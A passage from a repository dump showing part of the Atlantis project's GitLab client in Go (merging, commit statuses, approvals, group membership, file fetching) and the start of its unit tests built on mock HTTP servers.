status is \"running.\"\n\n\t\t\tif resp.StatusCode == http.StatusConflict {\n\t\t\t\tlogger.Warn(\"GitLab returned HTTP [409 Conflict] when updating commit status\")\n\t\t\t}\n\t\t}\n\n\t\tsleep := retryer.Duration()\n\n\t\tlogger.With(\"retry_in\", sleep).Warn(\"GitLab errored when updating commit status: %w\", err)\n\t\ttime.Sleep(sleep)\n\t}\n}\n\nfunc (g *Client) GetMergeRequest(logger logging.SimpleLogging, repoFullName string, pullNum int) (*gitlab.MergeRequest, error) {\n\tlogger.Debug(\"Getting GitLab merge request %d\", pullNum)\n\tmr, resp, err := g.Client.MergeRequests.GetMergeRequest(repoFullName, pullNum, nil)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%s/merge_requests/%d returned: %d\", repoFullName, pullNum, resp.StatusCode)\n\t}\n\treturn mr, err\n}\n\nfunc (g *Client) WaitForSuccessPipeline(logger logging.SimpleLogging, ctx context.Context, pull models.PullRequest) {\n\tlogger.Debug(\"Waiting for GitLab success pipeline for merge request %d\", pull.Num)\n\tctx, cancel := context.WithTimeout(ctx, 10*time.Second)\n\tdefer cancel()\n\n\tfor wait := true; wait; {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\t// validation check time out\n\t\t\tcancel()\n\t\t\treturn // ctx.Err()\n\n\t\tdefault:\n\t\t\tmr, _ := g.GetMergeRequest(logger, pull.BaseRepo.FullName, pull.Num)\n\t\t\t// check if pipeline has a success state to merge\n\t\t\tif mr.HeadPipeline.Status == \"success\" {\n\t\t\t\treturn\n\t\t\t}\n\t\t\ttime.Sleep(time.Second)\n\t\t}\n\t}\n}\n\n// MergePull merges the merge request.\nfunc (g *Client) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error {\n\tlogger.Debug(\"Merging GitLab merge request %d\", pull.Num)\n\tcommitMsg := common.AutomergeCommitMsg(pull.Num)\n\n\tmr, err := g.GetMergeRequest(logger, pull.BaseRepo.FullName, pull.Num)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to merge merge request, it was not possible to retrieve the merge request: %w\", err)\n\t}\n\tproject, resp, err := g.Client.Projects.GetProject(mr.ProjectID, nil)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%d returned: %d\", mr.ProjectID, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to merge merge request, it was not possible to check the project requirements: %w\", err)\n\t}\n\n\tif project != nil && project.OnlyAllowMergeIfPipelineSucceeds {\n\t\tg.WaitForSuccessPipeline(logger, context.Background(), pull)\n\t}\n\n\t_, resp, err = g.Client.MergeRequests.AcceptMergeRequest(\n\t\tpull.BaseRepo.FullName,\n\t\tpull.Num,\n\t\t&gitlab.AcceptMergeRequestOptions{\n\t\t\tMergeCommitMessage:       &commitMsg,\n\t\t\tShouldRemoveSourceBranch: &pullOptions.DeleteSourceBranchOnMerge,\n\t\t})\n\tif resp != nil {\n\t\tlogger.Debug(\"PUT /projects/%s/merge_requests/%d/merge returned: %d\", pull.BaseRepo.FullName, pull.Num, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to merge merge request, it may not be in a mergeable state: %w\", err)\n\t}\n\treturn nil\n}\n\n// MarkdownPullLink specifies the string used in a pull request comment to reference another pull request.\nfunc (g *Client) MarkdownPullLink(pull models.PullRequest) (string, error) {\n\treturn fmt.Sprintf(\"!%d\", pull.Num), nil\n}\n\n// DiscardReviews discards all reviews on a pull request\n// This is only available with a bot token and otherwise will return 401 unauthorized\n// https://docs.gitlab.com/api/merge_request_approvals/#reset-approvals-of-a-merge-request\nfunc (g *Client) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error {\n\tlogger.Debug(\"Reset approvals for merge request %d\", pull.Num)\n\tresp, err := g.Client.MergeRequestApprovals.ResetApprovalsOfMergeRequest(repo.FullName, pull.Num)\n\tif resp != nil {\n\t\tlogger.Debug(\"PUT /projects/%s/merge_requests/%d/reset_approvals returned: %d\", repo.FullName, pull.Num, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn fmt.Errorf(\"unable to reset approvals: %w\", err)\n\t}\n\n\treturn nil\n}\n\n// GetVersion returns the version of the Gitlab server this client is using.\nfunc (g *Client) GetVersion(logger logging.SimpleLogging) (*version.Version, error) {\n\tlogger.Debug(\"Getting GitLab version\")\n\tversionResp, resp, err := g.Client.Version.GetVersion()\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /version returned: %d\", resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\t// We need to strip any \"-ee\" or similar from the resulting version because go-version\n\t// uses that in its constraints and it breaks the comparison we're trying\n\t// to do for Common Mark.\n\tsplit := strings.Split(versionResp.Version, \"-\")\n\tparsedVersion, err := version.NewVersion(split[0])\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"parsing response to /version: %q: %w\", versionResp.Version, err)\n\t}\n\treturn parsedVersion, nil\n}\n\n// SupportsCommonMark returns true if the version of Gitlab this client is\n// using supports the CommonMark markdown format.\nfunc (g *Client) SupportsCommonMark() bool {\n\t// This function is called even if we didn't construct a gitlab client\n\t// so we need to handle that case.\n\tif g == nil {\n\t\treturn false\n\t}\n\n\treturn commonMarkSupported.Check(g.Version)\n}\n\n// GetTeamNamesForUser returns the names of the GitLab groups that the user belongs to.\n// The user membership is checked in each group from configuredTeams, groups\n// that the Atlantis user doesn't have access to are silently ignored.\nfunc (g *Client) GetTeamNamesForUser(logger logging.SimpleLogging, _ models.Repo, user models.User) ([]string, error) {\n\tlogger.Debug(\"Getting GitLab group names for user '%s'\", user)\n\tvar teamNames []string\n\n\tusers, resp, err := g.Client.Users.ListUsers(&gitlab.ListUsersOptions{Username: &user.Username})\n\tif resp.StatusCode == http.StatusNotFound {\n\t\treturn teamNames, nil\n\t}\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"GET /users returned: %d: %w\", resp.StatusCode, err)\n\t} else if len(users) == 0 {\n\t\treturn nil, errors.New(\"GET /users returned no user\")\n\t} else if len(users) > 1 {\n\t\t// Theoretically impossible, just being extra safe\n\t\treturn nil, errors.New(\"GET /users returned more than 1 user\")\n\t}\n\tuserID := users[0].ID\n\tfor _, groupName := range g.ConfiguredGroups {\n\t\tmembership, resp, err := g.Client.GroupMembers.GetGroupMember(groupName, userID)\n\t\tif resp.StatusCode == http.StatusNotFound || resp.StatusCode == http.StatusForbidden {\n\t\t\tcontinue\n\t\t}\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"GET /groups/%s/members/%d returned: %d: %w\", groupName, userID, resp.StatusCode, err)\n\t\t}\n\t\tif resp.StatusCode == http.StatusOK && membership.State == \"active\" {\n\t\t\tteamNames = append(teamNames, groupName)\n\t\t}\n\t}\n\treturn teamNames, nil\n}\n\n// GetFileContent a repository file content from VCS (which support fetch a single file from repository)\n// The first return value indicates whether the repo contains a file or not\n// if BaseRepo had a file, its content will placed on the second return value\nfunc (g *Client) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) {\n\tlogger.Debug(\"Getting GitLab file content for file '%s'\", fileName)\n\topt := gitlab.GetRawFileOptions{Ref: gitlab.Ptr(branch)}\n\n\tbytes, resp, err := g.Client.RepositoryFiles.GetRawFile(repo.FullName, fileName, &opt)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%s/repository/files/%s/raw returned: %d\", repo.FullName, fileName, resp.StatusCode)\n\t}\n\tif resp != nil && resp.StatusCode == http.StatusNotFound {\n\t\treturn false, []byte{}, nil\n\t}\n\n\tif err != nil {\n\t\treturn true, []byte{}, err\n\t}\n\n\treturn true, bytes, nil\n}\n\nfunc (g *Client) SupportsSingleFileDownload(_ models.Repo) bool {\n\treturn true\n}\n\nfunc (g *Client) GetCloneURL(logger logging.SimpleLogging, _ models.VCSHostType, repo string) (string, error) {\n\tlogger.Debug(\"Getting GitLab clone URL for repo '%s'\", repo)\n\tproject, resp, err := g.Client.Projects.GetProject(repo, nil)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%s returned: %d\", repo, resp.StatusCode)\n\t}\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\treturn project.HTTPURLToRepo, nil\n}\n\nfunc (g *Client) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\tlogger.Debug(\"Getting GitLab labels for merge request %d\", pull.Num)\n\tmr, resp, err := g.Client.MergeRequests.GetMergeRequest(repo.FullName, pull.Num, nil)\n\tif resp != nil {\n\t\tlogger.Debug(\"GET /projects/%s/merge_requests/%d returned: %d\", repo.FullName, pull.Num, resp.StatusCode)\n\t}\n\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn mr.Labels, nil\n}\n"
  },
  {
    "path": "server/events/vcs/gitlab/client_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage gitlab\n\nimport (\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"os\"\n\t\"path\"\n\t\"strconv\"\n\t\"strings\"\n\t\"testing\"\n\t\"time\"\n\n\t\"github.com/hashicorp/go-version\"\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\tgitlab \"gitlab.com/gitlab-org/api/client-go\"\n\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar projectID = 4580910\n\nconst gitlabPipelineSuccessMrID = 488598\n\nconst updateStatusDescription = \"description\"\nconst updateStatusTargetUrl = \"https://google.com\"\nconst updateStatusSrc = \"src\"\nconst updateStatusHeadBranch = \"test\"\n\n/* UpdateStatus request JSON body object */\ntype UpdateStatusJsonBody struct {\n\tState       string `json:\"state\"`\n\tContext     string `json:\"context\"`\n\tTargetUrl   string `json:\"target_url\"`\n\tDescription string `json:\"description\"`\n\tPipelineId  int    `json:\"pipeline_id\"`\n\tRef         string `json:\"ref\"`\n}\n\n/* GetCommit response last_pipeline JSON object */\ntype GetCommitResponseLastPipeline struct {\n\tID int `json:\"id\"`\n}\n\n/* GetCommit response JSON object */\ntype GetCommitResponse struct {\n\tLastPipeline *GetCommitResponseLastPipeline `json:\"last_pipeline\"`\n}\n\n/* Empty struct for JSON marshalling */\ntype EmptyStruct struct{}\n\n// Test that the base url gets set properly.\nfunc TestNewClient_BaseURL(t *testing.T) {\n\tgitlabClientUnderTest = true\n\tdefer func() { gitlabClientUnderTest = false }()\n\n\tcases := []struct {\n\t\tHostname   string\n\t\tExpBaseURL string\n\t}{\n\t\t{\n\t\t\t\"gitlab.com\",\n\t\t\t\"https://gitlab.com/api/v4/\",\n\t\t},\n\t\t{\n\t\t\t\"custom.domain\",\n\t\t\t\"https://custom.domain/api/v4/\",\n\t\t},\n\t\t{\n\t\t\t\"http://custom.domain\",\n\t\t\t\"http://custom.domain/api/v4/\",\n\t\t},\n\t\t{\n\t\t\t\"http://custom.domain:8080\",\n\t\t\t\"http://custom.domain:8080/api/v4/\",\n\t\t},\n\t\t{\n\t\t\t\"https://custom.domain\",\n\t\t\t\"https://custom.domain/api/v4/\",\n\t\t},\n\t\t{\n\t\t\t\"https://custom.domain/\",\n\t\t\t\"https://custom.domain/api/v4/\",\n\t\t},\n\t\t{\n\t\t\t\"https://custom.domain/basepath/\",\n\t\t\t\"https://custom.domain/basepath/api/v4/\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.Hostname, func(t *testing.T) {\n\t\t\tlog := logging.NewNoopLogger(t)\n\t\t\tclient, err := New(c.Hostname, \"token\", []string{}, log)\n\t\t\tOk(t, err)\n\t\t\tEquals(t, c.ExpBaseURL, client.Client.BaseURL().String())\n\t\t})\n\t}\n}\n\n// This function gets called even if Client is nil\n// so we need to test that.\nfunc TestClient_SupportsCommonMarkNil(t *testing.T) {\n\tvar gl *Client\n\tEquals(t, false, gl.SupportsCommonMark())\n}\n\nfunc TestClient_SupportsCommonMark(t *testing.T) {\n\tcases := []struct {\n\t\tversion string\n\t\texp     bool\n\t}{\n\t\t{\n\t\t\t\"11.0\",\n\t\t\tfalse,\n\t\t},\n\t\t{\n\t\t\t\"11.1\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"11.2\",\n\t\t\ttrue,\n\t\t},\n\t\t{\n\t\t\t\"12.0\",\n\t\t\ttrue,\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.version, func(t *testing.T) {\n\t\t\tvers, err := version.NewVersion(c.version)\n\t\t\tOk(t, err)\n\t\t\tgl := Client{\n\t\t\t\tVersion: vers,\n\t\t\t}\n\t\t\tEquals(t, c.exp, gl.SupportsCommonMark())\n\t\t})\n\t}\n}\n\nfunc TestClient_GetModifiedFiles(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tcases := []struct {\n\t\tattempts int\n\t}{\n\t\t{1}, {2}, {3},\n\t}\n\n\tchangesPending, err := os.ReadFile(\"testdata/changes-pending.json\")\n\tOk(t, err)\n\n\tchangesAvailable, err := os.ReadFile(\"testdata/changes-available.json\")\n\tOk(t, err)\n\n\tfor _, c := range cases {\n\t\tt.Run(fmt.Sprintf(\"Gitlab returns MR changes after %d attempts\", c.attempts), func(t *testing.T) {\n\t\t\tnumAttempts := 0\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v4/projects/lkysow%2Fatlantis-example/merge_requests/8312/changes?page=1&per_page=100\":\n\t\t\t\t\t\tw.WriteHeader(200)\n\t\t\t\t\t\tnumAttempts++\n\t\t\t\t\t\tif numAttempts < c.attempts {\n\t\t\t\t\t\t\tw.Write(changesPending) // nolint: errcheck\n\t\t\t\t\t\t\tt.Logf(\"returning changesPending for attempt %d\", numAttempts)\n\t\t\t\t\t\t\treturn\n\t\t\t\t\t\t}\n\t\t\t\t\t\tt.Logf(\"returning changesAvailable for attempt %d\", numAttempts)\n\t\t\t\t\t\tw.Write(changesAvailable) // nolint: errcheck\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\t\t\tclient := &Client{\n\t\t\t\tClient:          internalClient,\n\t\t\t\tVersion:         nil,\n\t\t\t\tPollingInterval: time.Second * 0,\n\t\t\t\tPollingTimeout:  time.Second * 10,\n\t\t\t}\n\n\t\t\tfilenames, err := client.GetModifiedFiles(\n\t\t\t\tlogger,\n\t\t\t\tmodels.Repo{\n\t\t\t\t\tFullName: \"lkysow/atlantis-example\",\n\t\t\t\t\tOwner:    \"lkysow\",\n\t\t\t\t\tName:     \"atlantis-example\",\n\t\t\t\t},\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tNum: 8312,\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tFullName: \"lkysow/atlantis-example\",\n\t\t\t\t\t\tOwner:    \"lkysow\",\n\t\t\t\t\t\tName:     \"atlantis-example\",\n\t\t\t\t\t},\n\t\t\t\t})\n\t\t\tOk(t, err)\n\t\t\tEquals(t, []string{\"somefile.yaml\"}, filenames)\n\t\t})\n\t}\n}\n\nfunc TestClient_MergePull(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\tmergeSuccess, err := os.ReadFile(\"testdata/pull-request.json\")\n\tOk(t, err)\n\n\tpipelineSuccess, err := os.ReadFile(\"testdata/pipeline-success.json\")\n\tOk(t, err)\n\n\tprojectSuccess, err := os.ReadFile(\"testdata/project-success.json\")\n\tOk(t, err)\n\n\tcases := []struct {\n\t\tdescription string\n\t\tglResponse  []byte\n\t\tcode        int\n\t\texpErr      string\n\t}{\n\t\t{\n\t\t\t\"success\",\n\t\t\tmergeSuccess,\n\t\t\t200,\n\t\t\t\"\",\n\t\t},\n\t\t{\n\t\t\t\"405\",\n\t\t\t[]byte(`{\"message\":\"405 Method Not Allowed\"}`),\n\t\t\t405,\n\t\t\t\"405 {message: 405 Method Not Allowed}\",\n\t\t},\n\t\t{\n\t\t\t\"406\",\n\t\t\t[]byte(`{\"message\":\"406 Branch cannot be merged\"}`),\n\t\t\t406,\n\t\t\t\"406 {message: 406 Branch cannot be merged}\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.description, func(t *testing.T) {\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\t// The first request should hit this URL.\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1/merge\":\n\t\t\t\t\t\tw.WriteHeader(c.code)\n\t\t\t\t\t\tw.Write(c.glResponse) // nolint: errcheck\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/merge_requests/1\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\tw.Write(pipelineSuccess) // nolint: errcheck\n\t\t\t\t\tcase \"/api/v4/projects/4580910\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\tw.Write(projectSuccess) // nolint: errcheck\n\t\t\t\t\tcase \"/api/v4/\":\n\t\t\t\t\t\t// Rate limiter requests.\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\t\t\tclient := &Client{\n\t\t\t\tClient:  internalClient,\n\t\t\t\tVersion: nil,\n\t\t\t}\n\n\t\t\terr = client.MergePull(\n\t\t\t\tlogger,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tNum: 1,\n\t\t\t\t\tBaseRepo: models.Repo{\n\t\t\t\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t\t\t\t\tOwner:    \"runatlantis\",\n\t\t\t\t\t\tName:     \"atlantis\",\n\t\t\t\t\t},\n\t\t\t\t}, models.PullRequestOptions{\n\t\t\t\t\tDeleteSourceBranchOnMerge: false,\n\t\t\t\t})\n\t\t\tif c.expErr == \"\" {\n\t\t\t\tOk(t, err)\n\t\t\t} else {\n\t\t\t\tErrContains(t, c.expErr, err)\n\t\t\t\tErrContains(t, \"unable to merge merge request, it may not be in a mergeable state\", err)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestClient_UpdateStatus(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\tcases := []struct {\n\t\tstatus   models.CommitStatus\n\t\texpState string\n\t}{\n\t\t{\n\t\t\tmodels.PendingCommitStatus,\n\t\t\t\"running\",\n\t\t},\n\t\t{\n\t\t\tmodels.SuccessCommitStatus,\n\t\t\t\"success\",\n\t\t},\n\t\t{\n\t\t\tmodels.FailedCommitStatus,\n\t\t\t\"failed\",\n\t\t},\n\t}\n\tfor _, c := range cases {\n\t\tt.Run(c.expState, func(t *testing.T) {\n\t\t\tgotRequest := false\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/statuses/sha\":\n\t\t\t\t\t\tgotRequest = true\n\n\t\t\t\t\t\tvar updateStatusJsonBody UpdateStatusJsonBody\n\t\t\t\t\t\terr := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\tEquals(t, c.expState, updateStatusJsonBody.State)\n\t\t\t\t\t\tEquals(t, updateStatusSrc, updateStatusJsonBody.Context)\n\t\t\t\t\t\tEquals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl)\n\t\t\t\t\t\tEquals(t, updateStatusDescription, updateStatusJsonBody.Description)\n\t\t\t\t\t\tEquals(t, gitlabPipelineSuccessMrID, updateStatusJsonBody.PipelineId)\n\n\t\t\t\t\t\tdefer r.Body.Close() // nolint: errcheck\n\n\t\t\t\t\t\tsetStatusJsonResponse, err := json.Marshal(EmptyStruct{})\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\t_, err = w.Write(setStatusJsonResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha\":\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\t\t\tgetCommitResponse := GetCommitResponse{\n\t\t\t\t\t\t\tLastPipeline: &GetCommitResponseLastPipeline{\n\t\t\t\t\t\t\t\tID: gitlabPipelineSuccessMrID,\n\t\t\t\t\t\t\t},\n\t\t\t\t\t\t}\n\t\t\t\t\t\tgetCommitJsonResponse, err := json.Marshal(getCommitResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\t_, err = w.Write(getCommitJsonResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\tcase \"/api/v4/\":\n\t\t\t\t\t\t// Rate limiter requests.\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\t\t\tclient := &Client{\n\t\t\t\tClient:  internalClient,\n\t\t\t\tVersion: nil,\n\t\t\t}\n\n\t\t\trepo := models.Repo{\n\t\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t\t\tOwner:    \"runatlantis\",\n\t\t\t\tName:     \"atlantis\",\n\t\t\t}\n\t\t\terr = client.UpdateStatus(\n\t\t\t\tlogger,\n\t\t\t\trepo,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tNum:        1,\n\t\t\t\t\tBaseRepo:   repo,\n\t\t\t\t\tHeadCommit: \"sha\",\n\t\t\t\t\tHeadBranch: updateStatusHeadBranch,\n\t\t\t\t},\n\t\t\t\tc.status,\n\t\t\t\tupdateStatusSrc,\n\t\t\t\tupdateStatusDescription,\n\t\t\t\tupdateStatusTargetUrl,\n\t\t\t)\n\t\t\tOk(t, err)\n\t\t\tAssert(t, gotRequest, \"expected to get the request\")\n\t\t})\n\t}\n}\n\nfunc TestClient_UpdateStatusGetCommitRetryable(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\tcases := []struct {\n\t\ttitle                     string\n\t\tstatus                    models.CommitStatus\n\t\tcommitsWithNoLastPipeline int\n\t\texpNumberOfRequests       int\n\t\texpRefOrPipelineId        string\n\t}{\n\t\t// Ensure that GetCommit with last pipeline id sets the pipeline id.\n\t\t{\n\t\t\ttitle:                     \"GetCommit with a pipeline id\",\n\t\t\tstatus:                    models.PendingCommitStatus,\n\t\t\tcommitsWithNoLastPipeline: 0,\n\t\t\texpNumberOfRequests:       1,\n\t\t\texpRefOrPipelineId:        \"PipelineId\",\n\t\t},\n\t\t// Ensure that 1 x GetCommit with no pipelines sets the pipeline id.\n\t\t{\n\t\t\ttitle:                     \"1 x GetCommit with no last pipeline id\",\n\t\t\tstatus:                    models.PendingCommitStatus,\n\t\t\tcommitsWithNoLastPipeline: 1,\n\t\t\texpNumberOfRequests:       2,\n\t\t\texpRefOrPipelineId:        \"PipelineId\",\n\t\t},\n\t\t// Ensure that 2 x GetCommit with no last pipeline id sets the ref.\n\t\t{\n\t\t\ttitle:                     \"2 x GetCommit with no last pipeline id\",\n\t\t\tstatus:                    models.PendingCommitStatus,\n\t\t\tcommitsWithNoLastPipeline: 2,\n\t\t\texpNumberOfRequests:       2,\n\t\t\texpRefOrPipelineId:        \"Ref\",\n\t\t},\n\t}\n\n\tfor _, c := range cases {\n\t\tt.Run(c.title, func(t *testing.T) {\n\t\t\thandledNumberOfRequests := 0\n\n\t\t\ttestServer := httptest.NewServer(\n\t\t\t\thttp.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\t\t\t\tswitch r.RequestURI {\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/statuses/sha\":\n\t\t\t\t\t\tvar updateStatusJsonBody UpdateStatusJsonBody\n\t\t\t\t\t\terr := json.NewDecoder(r.Body).Decode(&updateStatusJsonBody)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\tEquals(t, \"running\", updateStatusJsonBody.State)\n\t\t\t\t\t\tEquals(t, updateStatusSrc, updateStatusJsonBody.Context)\n\t\t\t\t\t\tEquals(t, updateStatusTargetUrl, updateStatusJsonBody.TargetUrl)\n\t\t\t\t\t\tEquals(t, updateStatusDescription, updateStatusJsonBody.Description)\n\t\t\t\t\t\tif c.expRefOrPipelineId == \"Ref\" {\n\t\t\t\t\t\t\tEquals(t, updateStatusHeadBranch, updateStatusJsonBody.Ref)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tEquals(t, gitlabPipelineSuccessMrID, updateStatusJsonBody.PipelineId)\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdefer r.Body.Close()\n\n\t\t\t\t\t\tgetCommitJsonResponse, err := json.Marshal(EmptyStruct{})\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\t_, err = w.Write(getCommitJsonResponse)\n\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\tcase \"/api/v4/projects/runatlantis%2Fatlantis/repository/commits/sha\":\n\t\t\t\t\t\thandledNumberOfRequests++\n\t\t\t\t\t\tnoCommitLastPipeline := handledNumberOfRequests <= c.commitsWithNoLastPipeline\n\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\t\t\t\t\t\tif noCommitLastPipeline {\n\t\t\t\t\t\t\tgetCommitJsonResponse, err := json.Marshal(EmptyStruct{})\n\t\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\t\t_, err = w.Write(getCommitJsonResponse)\n\t\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\t} else {\n\t\t\t\t\t\t\tgetCommitResponse := GetCommitResponse{\n\t\t\t\t\t\t\t\tLastPipeline: &GetCommitResponseLastPipeline{\n\t\t\t\t\t\t\t\t\tID: gitlabPipelineSuccessMrID,\n\t\t\t\t\t\t\t\t},\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\tgetCommitJsonResponse, err := json.Marshal(getCommitResponse)\n\t\t\t\t\t\t\tOk(t, err)\n\n\t\t\t\t\t\t\t_, err = w.Write(getCommitJsonResponse)\n\t\t\t\t\t\t\tOk(t, err)\n\t\t\t\t\t\t}\n\n\t\t\t\t\tcase \"/api/v4/\":\n\t\t\t\t\t\t// Rate limiter requests.\n\t\t\t\t\t\tw.WriteHeader(http.StatusOK)\n\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tt.Errorf(\"got unexpected request at %q\", r.RequestURI)\n\t\t\t\t\t\thttp.Error(w, \"not found\", http.StatusNotFound)\n\t\t\t\t\t}\n\t\t\t\t}))\n\n\t\t\tinternalClient, err := gitlab.NewClient(\"token\", gitlab.WithBaseURL(testServer.URL))\n\t\t\tOk(t, err)\n\n\t\t\tclient := &Client{\n\t\t\t\tClient:          internalClient,\n\t\t\t\tVersion:         nil,\n\t\t\t\tPollingInterval: 10 * time.Millisecond,\n\t\t\t}\n\n\t\t\trepo := models.Repo{\n\t\t\t\tFullName: \"runatlantis/atlantis\",\n\t\t\t\tOwner:    \"runatlantis\",\n\t\t\t\tName:     \"atlantis\",\n\t\t\t}\n\n\t\t\terr = client.UpdateStatus(\n\t\t\t\tlogger,\n\t\t\t\trepo,\n\t\t\t\tmodels.PullRequest{\n\t\t\t\t\tNum:        1,\n\t\t\t\t\tBaseRepo:   repo,\n\t\t\t\t\tHeadCommit: \"sha\",\n\t\t\t\t\tHeadBranch: updateStatusHeadBranch,\n\t\t\t\t},\n\t\t\t\tc.status,\n\t\t\t\tupdateStatusSrc,\n\t\t\t\tupdateStatusDescription,\n\t\t\t\tupdateStatusTargetUrl,\n\t\t\t)\n\t\t\tOk(t, err)\n\n\t\t\tAssert(t, c.expNumberOfRequests == handledNumberOfRequests,\n\t\t\t\tfmt.Sprintf(\"expected %d number of requests, but processed %d\", c.expNumberOfRequests, handledNumberOfRequests))\n\t\t})\n\t}\n}\n\nfunc TestClient_UpdateStatusSetCommitStatusConflictRetryable(t *testing.T) {\n\tlogger := logging.NewNoopLogger(t)\n\n\tcases := []struct {\n\t\tstatus              models.CommitStatus\n\t\tnumberOfConflicts   int\n\t\texpNumberOfRequests int\n\t\texpState            string\n\t\texpError            bool\n\t}{\n\t\t// Ensure that 0 x 409 Conflict succeeds\n\t\t{\n\t\t\tstatus:              models.PendingCommitStatus,\n\t\t\tnumberOfConflicts:   0,\n\t\t\texpNumberOfRequests: 1,\n\t\t\texpState:            